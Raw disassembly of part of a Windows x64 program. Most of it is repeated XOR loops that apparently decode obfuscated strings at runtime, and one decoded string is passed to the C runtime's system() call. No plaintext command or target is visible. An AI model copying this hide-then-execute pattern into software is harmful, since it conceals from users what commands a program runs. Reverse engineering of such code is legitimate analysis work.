lea rdx, [rbp + 0x13c8]
mov byte [rbp - 0x22], 0
lea rcx, [rbp - 0x22]
mov rbx, rax
call fcn.140054af0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x1400658f4
xor r8d, r8d
cmp edi, 2
jl 0x1400658b5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400657c0
cmp r8d, 0x1e
jge 0x1400658f4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x1400658c0
mov rdx, r10
lea rcx, [rbp + 0x1628]
call fcn.1400719a0
mov r8, rbx
lea rcx, [rbp + 0x28a0]
mov rdx, rax
call fcn.140072110
lea rcx, [rbp + 0x1628]
call fcn.140071940
lea rcx, [rbp + 0x1608]
call fcn.140071940
lea rdx, [rbp + 0x164]
mov byte [rbp - 0x21], 0
lea rcx, [rbp - 0x21]
call fcn.140054b40
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140065962
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1648]
call fcn.1400719a0
lea rdx, [rbp + 0x13e8]
mov byte [rbp - 0x20], 0
lea rcx, [rbp - 0x20]
mov rbx, rax
call fcn.140054af0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x140065af4
xor r8d, r8d
cmp edi, 2
jl 0x140065ab5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400659c0
cmp r8d, 0x1e
jge 0x140065af4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140065ac0
mov rdx, r10
lea rcx, [rbp + 0x1668]
call fcn.1400719a0
mov r8, rbx
lea rcx, [rbp + 0x28c0]
mov rdx, rax
call fcn.140072110
lea rcx, [rbp + 0x1668]
call fcn.140071940
lea rcx, [rbp + 0x1648]
call fcn.140071940
lea rdx, [rbp + 0x16c]
mov byte [rbp - 0x1f], 0
lea rcx, [rbp - 0x1f]
call fcn.140054b60
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140065b62
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1688]
call fcn.1400719a0
lea rdx, [rbp + 0x1408]
mov byte [rbp - 0x1e], 0
lea rcx, [rbp - 0x1e]
mov rbx, rax
call fcn.140054af0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x140065cf4
xor r8d, r8d
cmp edi, 2
jl 0x140065cb5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140065bc0
cmp r8d, 0x1e
jge 0x140065cf4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140065cc0
mov rdx, r10
lea rcx, [rbp + 0x16a8]
call fcn.1400719a0
mov r8, rbx
lea rcx, [rbp + 0x28e0]
mov rdx, rax
call fcn.140072110
lea rcx, [rbp + 0x16a8]
call fcn.140071940
lea rcx, [rbp + 0x1688]
call fcn.140071940
lea rdx, [rbp + 0xe4]
mov byte [rbp - 0x1d], 0
lea rcx, [rbp - 0x1d]
call fcn.140054b80
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140065d62
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x16c8]
call fcn.1400719a0
lea rdx, [rbp + 0x1428]
mov byte [rbp - 0x1c], 0
lea rcx, [rbp - 0x1c]
mov rbx, rax
call fcn.140054af0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x140065ef4
xor r8d, r8d
cmp edi, 2
jl 0x140065eb5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140065dc0
cmp r8d, 0x1e
jge 0x140065ef4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x140065ec0
mov rdx, r10
lea rcx, [rbp + 0x16e8]
call fcn.1400719a0
mov r8, rbx
lea rcx, [rbp + 0x2580]
mov rdx, rax
call fcn.140072110
lea rcx, [rbp + 0x16e8]
call fcn.140071940
lea rcx, [rbp + 0x16c8]
call fcn.140071940
lea rdx, [rbp + 0xec]
mov byte [rbp - 0x1b], 0
lea rcx, [rbp - 0x1b]
call fcn.140054ba0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140065f62
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1708]
call fcn.1400719a0
lea rdx, [rbp + 0x1448]
mov byte [rbp - 0x1a], 0
lea rcx, [rbp - 0x1a]
mov rbx, rax
call fcn.140054af0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x1400660f4
xor r8d, r8d
cmp edi, 2
jl 0x1400660b5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140065fc0
cmp r8d, 0x1e
jge 0x1400660f4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x1400660c0
mov rdx, r10
lea rcx, [rbp + 0x1728]
call fcn.1400719a0
mov r8, rbx
lea rcx, [rbp + 0x25a0]
mov rdx, rax
call fcn.140072110
lea rcx, [rbp + 0x1728]
call fcn.140071940
lea rcx, [rbp + 0x1708]
call fcn.140071940
lea rdx, [rbp + 0x18a8]
mov byte [rbp - 0x19], 0
lea rcx, [rbp - 0x19]
call fcn.140054a30
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x1400662a4
xor r8d, r8d
cmp edi, 2
jl 0x140066265
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140066170
cmp r8d, 0x22
jge 0x1400662a4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x140066270
mov rdx, r10
lea rcx, [rbp + 0x25c0]
call fcn.1400719a0
lea rcx, [rbp + 0x28a0]
call fcn.140071930
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x25c0]
call fcn.140071940
lea rcx, [rbp + 0x25a0]
call fcn.140071940
lea rcx, [rbp + 0x2580]
call fcn.140071940
lea rcx, [rbp + 0x28e0]
call fcn.140071940
lea rcx, [rbp + 0x28c0]
call fcn.140071940
lea rcx, [rbp + 0x28a0]
call fcn.140071940
call fcn.140057370
cmp byte [0x14008a0c9], 1
jne 0x14006633e
cmp byte [0x14008ae2b], 1
jne 0x14006633e
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14006633e
lea rcx, [0x14007dbd0]
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x140066521
lea rdx, [rbp + 0x1180]
mov byte [rbp - 0x18], 0
lea rcx, [rbp - 0x18]
call fcn.14006f8e0
mov rbx, rax
cmp byte [rax + 0x12], 0
je 0x1400664c4
xor r8d, r8d
cmp edi, 2
jl 0x140066485
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140066390
cmp r8d, 0x13
jge 0x1400664c4
movsxd r9, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x140066490
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor edx, edx
lea rcx, [rbp + 0xfe0]
mov r8d, 0xff
call fcn.140037b30
lea rdx, [rbp + 0xff0]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0xff0]
call fcn.1400383d0
cmp byte [0x14008a0c9], 1
jne 0x140066521
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140066521
lea rcx, str.STATUS_Script
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14006670a
lea rdx, [rbp + 0x1c90]
mov byte [rbp - 0x17], 0
lea rcx, [rbp - 0x17]
call fcn.14006f910
mov rbx, rax
cmp byte [rax + 0x25], 0
je 0x1400666a4
xor r8d, r8d
cmp edi, 2
jl 0x140066665
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140066570
cmp r8d, 0x26
jge 0x1400666a4
movsxd r9, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x26
jl 0x140066670
xor r9d, r9d
mov dword [rsp + 0x20], 0xff
xor edx, edx
lea rcx, [rbp + 0x1000]
mov r8d, 0xff
call fcn.140037b30
lea rdx, [rbp + 0x1010]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x1010]
call fcn.1400383d0
cmp byte [0x14008a0c9], 1
jne 0x14006670a
cmp byte [0x14008ae2b], 1
jne 0x14006670a
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x14006670a
lea rcx, [0x14007dc20]
call fcn.140013150
cmp byte [0x14008a0c8], 0
je 0x1400668b1
lea rdx, [rbp + 0x530]
mov byte [rbp - 0x16], 0
lea rcx, [rbp - 0x16]
call fcn.14006f940
mov rbx, rax
cmp byte [rax + 0xb], 0
je 0x140066854
xor r8d, r8d
cmp edi, 2
jl 0x140066819
movd eax, xmm11
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
movdqa xmm0, xmm7
pmuldq xmm1, xmm6
mov r8d, 8
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm7
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movdqa xmm0, xmm10
movd dword [rbx], xmm1
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm6
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm10
pmulld xmm0, xmm9
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x140066820
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x1020]
xor edx, edx
call fcn.140037b30
lea rdx, [rbp + 0x6c0]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x6c0]
call fcn.1400383d0
cmp byte [0x14008a0c9], 1
jne 0x1400668b1
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x1400668b1
lea rcx, str.VERSION_Script
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x140066a9a
lea rdx, [rbp + 0x1090]
mov byte [rbp - 0x15], 0
lea rcx, [rbp - 0x15]
call fcn.14006f960
mov rbx, rax
cmp byte [rax + 0x10], 0
je 0x140066a34
xor r8d, r8d
cmp edi, 2
jl 0x1400669f5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x10
jl 0x140066900
cmp r8d, 0x11
jge 0x140066a34
movsxd r9, r8d
add r9, rbx
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x140066a00
mov r9d, 0xff
mov dword [rsp + 0x20], 0xff
xor r8d, r8d
lea rcx, [rbp + 0x6d0]
xor edx, edx
call fcn.140037b30
lea rdx, [rbp + 0x6e0]
mov rcx, rax
call fcn.140024de0
mov rdx, rbx
lea rcx, [rbp + 0x6e0]
call fcn.1400383d0
cmp byte [0x14008a0c9], 1
jne 0x140066a9a
cmp byte [0x14008ae2b], 1
jne 0x140066a9a
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140066a9a
lea rcx, [0x14007dc50]
call fcn.140013150
call fcn.14003afa0
call fcn.14000b700
mov eax, dword [0x14008a3d8]
cmp eax, 2
jne 0x140067f6e
call fcn.140057860
call fcn.14003afa0
movss xmm2, dword [0x14007f890]
lea rcx, [rbp + 0x2e0]
movss xmm1, dword [0x14007f8a0]
call fcn.140002a20
lea rdx, [rbp + 0x2e8]
mov byte [rbp - 0x14], 0
lea rcx, [rbp - 0x14]
mov rbx, rax
call fcn.14006f980
mov rcx, rax
